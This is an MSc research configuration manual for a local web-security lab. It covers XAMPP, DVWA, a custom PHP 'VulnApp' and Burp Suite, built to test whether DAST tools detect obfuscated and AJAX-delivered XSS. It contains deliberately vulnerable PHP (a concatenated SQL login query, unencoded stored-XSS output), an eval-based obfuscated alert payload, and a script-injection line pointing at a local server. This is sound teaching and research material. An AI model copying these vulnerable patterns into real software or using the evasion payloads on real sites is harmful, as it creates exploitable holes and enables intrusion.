National College of Ireland

Configuration Manual

MSc Research Project
Cybersecurity

Akib Hasan
Student ID: x23330945

School of Computing
National College of Ireland

Supervisor: Mr. Jawad Salahuddin

National College of Ireland

MSc Project Submission Sheet

School of Computing

Student Name:	**Akib Hasan** .....
Student ID:	**x23330945** .....
Programme:	**Msc in cybersecurity** ..... **Year:** **2024-25** .....
Module:	**Practicum Part 2** .....
Lecturer:	**Mr. Jawad Salahuddin** .....
Submission Due Date:	**15.09.2025** .....
Project Title:	**Improving Web Vulnerability: Detecting JavaScript Obfuscation and Dynamic Content Evasion** .....
Word Count:	**1783** ..... **Page Count:** .....7.....

I hereby certify that the information contained in this (my submission) is information pertaining to research I conducted for this project. All information other than my own contribution will be fully referenced and listed in the relevant bibliography section at the rear of the project.
ALL internet material must be referenced in the bibliography section. Students are required to use the Referencing Standard specified in the report template. To use other author's written or electronic work is illegal (plagiarism) and may result in disciplinary action.

Signature:	**AkiB** .....
Date:	**15.09.2025** .....

PLEASE READ THE FOLLOWING INSTRUCTIONS AND CHECKLIST

Attach a completed copy of this sheet to each project (including multiple copies)	□
Attach a Moodle submission receipt of the online project submission, to each project (including multiple copies).	□
You must ensure that you retain a HARD COPY of the project, both for your own reference and in case a project is lost or mislaid. It is not sufficient to keep a copy on computer.	□

Assignments that are submitted to the Programme Coordinator Office must be placed into the assignment box located outside the office.

Office Use Only	
Signature:	
Date:	
Penalty Applied (if applicable):	

Configuration Manual

Akib Hasan
Student ID: x23330945

1 Introduction

This manual provides a comprehensive, step-by-step guide to configuring the complete laboratory environment used in the research paper, "Improving Web Vulnerability: Detecting JavaScript Obfuscation and Dynamic Content Evasion." The purpose of this guide is to allow for the exact replication of the experiments, enabling verification of the findings and further study.

Following these instructions will result in a fully functional, locally hosted ecosystem containing:

1. A web server stack (Apache, PHP, MySQL).
2. The Damn Vulnerable Web Application (DVWA) for baseline testing.
3. The custom-built VulnApp to demonstrate the AJAX-based evasion technique.
4. The analysis tool (Burp Suite) configured to intercept and inspect traffic.
5. All necessary vulnerable code, scripts, and payloads.

2 Section 1: Core Environment Setup (XAMPP)

This section covers the installation of the underlying server infrastructure.

2.1 Download and Install XAMPP

- **Action:** Download the XAMPP installer for Windows, which bundles Apache, MySQL, and PHP.
- **Source:** https://www.apachefriends.org/index.html
- **Command:** Run the downloaded installer. It is recommended to install it in the default location (C:\xampp).

2.2 Start Services

- **Action:** Launch the XAMPP Control Panel.
- **Command:** Click the "Start" button next to the **Apache** and **MySQL** modules. Both should turn green, indicating they are running.

2.3 Verify Installation

- **Action:** Open a web browser and navigate to http://localhost.
- **Expected Result:** You should see the XAMPP dashboard page, confirming the web server is operational.
-

3 Section 2: Target Application Setup I (DVWA)

This section details the setup of the standardized vulnerable application, DVWA.

3.1 Download DVWA

- **Action:** Download the DVWA source code as a ZIP file.
- **Source:** https://github.com/digininja/DVWA
- **Command:** Click the "Code" button and select "Download ZIP".

3.2 Install DVWA

- **Action:** Unzip the downloaded file and place its contents into the web server's root directory.
- **Command:** Move the contents of the DVWA-master folder to C:\xampp\htdocs\dvwa.

3.3 Configure DVWA

- **Action:** Navigate to the DVWA config directory (C:\xampp\htdocs\dvwa\config\) and rename config.inc.php.dist to config.inc.php.
- **Action:** Open config.inc.php in a text editor and update the database credentials.
- **Code (in config.inc.php):**

```
// Find these lines and change them as follows:
$_DVWA[ 'db_user' ]     = 'root';
$_DVWA[ 'db_password' ] = ''; // Leave the password blank for a default XAMPP install
$_DVWA[ 'db_database' ] = 'dvwa';
```

3.4 Create Database and Set Security

- **Action:** In your browser, navigate to http://localhost/dvwa/setup.php.
- **Command:** Click the **Create / Reset Database** button. You will be redirected to the login page.
- **Action:** Log in with the default credentials (username: admin, password: password).
- **Action:** In the left-hand menu, click on **DVWA Security** and set the security level to **Low**. Click "Submit". This is crucial for the baseline tests.
-

4 Section 3: Target Application Setup II (VulnApp)

This section details the creation of the custom application used to test the AJAX evasion technique.

4.1 Database Setup for VulnApp

- **Action:** Navigate to phpMyAdmin at http://localhost/phpmyadmin.
- **Command:**
    1. Click the **"New"** button in the left sidebar.
    2. Enter the database name vulnapp_db and click "Create".
    3. Select the vulnapp_db database and click the **"SQL"** tab.
    4. Paste the following SQL code into the text area and click "Go".
- **Code (setup.sql):**

```
CREATE TABLE users (
   id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
   username VARCHAR(30) NOT NULL,
   password VARCHAR(30) NOT NULL,
   bio VARCHAR(255)
);

CREATE TABLE comments (
   id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
   author VARCHAR(30) NOT NULL,
   comment TEXT NOT NULL,
        reg_date TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE
CURRENT_TIMESTAMP
);
```

INSERT INTO users (username, password, bio) VALUES ('test', 'test', 'This is my default bio.');

4.2 Application Code for VulnApp

- **Action:** Create a new folder named vulnapp inside C:\xampp\htdocs\.
- **Action:** Create the following files inside C:\xampp\htdocs\vulnapp\ with the provided code.

File 1: db.php (Database Connection)

```
<?php
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "vulnapp_db";

// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);

// Check connection
if ($conn->connect_error) {
  die("Connection failed: " . $conn->connect_error);
}
?>
```

File 2: login.php (Login Page with SQLi)

```
<?php
session_start();
include 'db.php';

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $username = $_POST['username'];
    $password = $_POST['password'];

    // Intentionally vulnerable SQL query
      $sql = "SELECT id, username FROM users WHERE username = '$username' AND password = '$password'";
    $result = $conn->query($sql);

    if ($result->num_rows > 0) {
        $row = $result->fetch_assoc();
        $_SESSION['loggedin'] = true;
        $_SESSION['username'] = $row['username'];
        header("location: profile.php");
    } else {
        $error = "Invalid login";
    }
}
?>
<!DOCTYPE html>
<html>
<body>
<h2>Login to VulnApp</h2>
<form method="post" action="">
  Username:<br> <input type="text" name="username"><br>
```

```
  Password:<br> <input type="password" name="password"><br><br>
  <input type="submit" value="Login">
</form>
<?php if(isset($error)) { echo "<p style='color:red;'>$error</p>"; } ?>
</body>
</html>
```

File 3: profile.php (Profile Page with Stored XSS and AJAX)

```
<?php
session_start();
if (!isset($_SESSION['loggedin'])) {
    header('Location: login.php');
    exit;
}
include 'db.php';
$username = $_SESSION['username'];

// Handle bio update (vulnerable to stored XSS)
if (isset($_POST['bio'])) {
    $new_bio = $_POST['bio'];
    $stmt = $conn->prepare("UPDATE users SET bio = ? WHERE username = ?");
    $stmt->bind_param("ss", $new_bio, $username);
    $stmt->execute();
}

// Fetch user data
$stmt = $conn->prepare("SELECT bio FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();
$result = $stmt->get_result();
$user = $result->fetch_assoc();
?>
<!DOCTYPE html>
<html>
<head>
    <title>User Profile</title>
</head>
<body>
<h1>Welcome, <?php echo htmlspecialchars($username); ?>!</h1>

<h3>Your Bio (Vulnerable to Stored XSS):</h3>
<div><?php echo $user['bio']; // No output encoding ?></div>
<form method="post" action="">
    <textarea name="bio" rows="4" cols="50"></textarea><br>
    <input type="submit" value="Update Bio">
</form>

<hr>

<h3>Comments (Loaded via AJAX)</h3>
<div id="comments-section">
    <?php
    $sql = "SELECT author, comment FROM comments ORDER BY reg_date DESC";
    $result = $conn->query($sql);
```

```
    if ($result->num_rows > 0) {
        while($row = $result->fetch_assoc()) {
            // Vulnerable rendering
                        echo "<p><strong>" . htmlspecialchars($row['author']) . ":</strong> " .
$row['comment'] . "</p>";
        }
    } else {
        echo "No comments yet.";
    }
    ?>
</div>

<h4>Add a Comment (AJAX Stored XSS)</h4>
<form id="comment-form">
    <textarea id="comment-text" name="comment" rows="4" cols="50"></textarea><br>
    <input type="submit" value="Add Comment">
</form>

<script>
document.getElementById('comment-form').addEventListener('submit', function(e) {
    e.preventDefault(); // Prevent default form submission
    var commentText = document.getElementById('comment-text').value;

    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'add_comment.php', true);
    xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

    xhr.onload = function() {
        if (this.status == 200) {
            // Simple reload to show the new comment
            location.reload();
        }
    };

    xhr.send('comment=' + encodeURIComponent(commentText));
});
</script>

</body>
</html>
```

File 4: add_comment.php (Vulnerable AJAX Endpoint)

```
<?php
session_start();
if (!isset($_SESSION['loggedin'])) {
    exit('User not logged in');
}
include 'db.php';

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $comment = $_POST['comment']; // Raw, unsanitized user input
    $author = $_SESSION['username'];

    // Intentionally vulnerable insertion
```

```
    $stmt = $conn->prepare("INSERT INTO comments (author, comment) VALUES (?, ?)");
    $stmt->bind_param("ss", $author, $comment);

    if ($stmt->execute()) {
        echo "Comment added successfully";
    } else {
        echo "Error: " . $stmt->error;
    }
    $stmt->close();
    $conn->close();
}
?>
```

- **Section 4: Obfuscated Payload Setup**

This section covers the setup for the JavaScript obfuscation experiment.

4.3 Create the Obfuscated JavaScript File

- **Action:** Create a new folder on your Desktop named payload_server.
- **Action:** Inside payload_server, create a file named secret.js.
- **Code (secret.js):**

```
// Obfuscated payload: alert('Obfuscated XSS')
var a = String.fromCharCode(97, 108, 101, 114, 116); // "alert"
var b = String.fromCharCode(40, 39, 79, 98, 102, 117, 115, 99, 97, 116, 101, 100, 32, 88, 83, 83, 39, 41); // "('Obfuscated XSS')"
eval(a + b);
```

4.4 Host the File with a Python Server

- **Action:** Open a command prompt (cmd.exe).
- **Command:** First, determine your local IP address.

```
ipconfig
```

(Look for the "IPv4 Address" under your active network adapter, e.g., 192.168.1.10).

- **Command:** Change directory to the payload_server folder and start the server.

```
cd C:\Users\[YourUsername]\Desktop\payload_server
python -m http.server 8000
```

- **Verification:** The server is now running. You can inject this script into DVWA using the payload: <script src="http://192.168.1.10:8000/secret.js"></script> (replace the IP with your own).
- **Section 5: Analysis Tool Configuration (Burp Suite)**

5 Download and Install Burp Suite

- **Action:** Download Burp Suite Community Edition.
- **Source:** https://portswigger.net/burp/communitydownload
- **Command:** Run the installer.

5.1 Configure Browser Proxy

- **Action:** Open Mozilla Firefox. Go to Settings -> General -> Network Settings -> Settings.
- **Command:** Select the "Manual proxy configuration" radio button.
  - **HTTP Proxy:** 127.0.0.1
  - **Port:** 8080
  - Check the box: "Also use this proxy for HTTPS".
  - Click "OK".

5.2 Install Burp's CA Certificate

- **Action:** In Burp Suite, go to the **Proxy** tab, then the **Intercept** sub-tab, and ensure "Intercept is on" is **off**.
- **Action:** In your configured Firefox browser, navigate to http://burp.
- **Command:** Click the "CA Certificate" link in the top-right to download the cacert.der file.
- **Action:** In Firefox, go to Settings -> Privacy & Security -> Certificates -> View Certificates.
- **Command:** Click the **Authorities** tab, then click **Import...**. Select the cacert.der file you downloaded. Check the box "Trust this CA to identify websites" and click "OK".

Your browser is now fully configured to route traffic through Burp Suite for analysis.

6 Conclusion

By completing all sections of this manual, you have successfully reconstructed the entire laboratory environment detailed in the research paper. You now have a controlled, isolated setting to perform the SQL Injection, Stored XSS, Obfuscated JavaScript, and AJAX-based vulnerability tests. This setup allows for the practical observation and verification of how a traditional DAST tool performs against both classic and modern evasion techniques, providing a solid foundation for further research or educational purposes.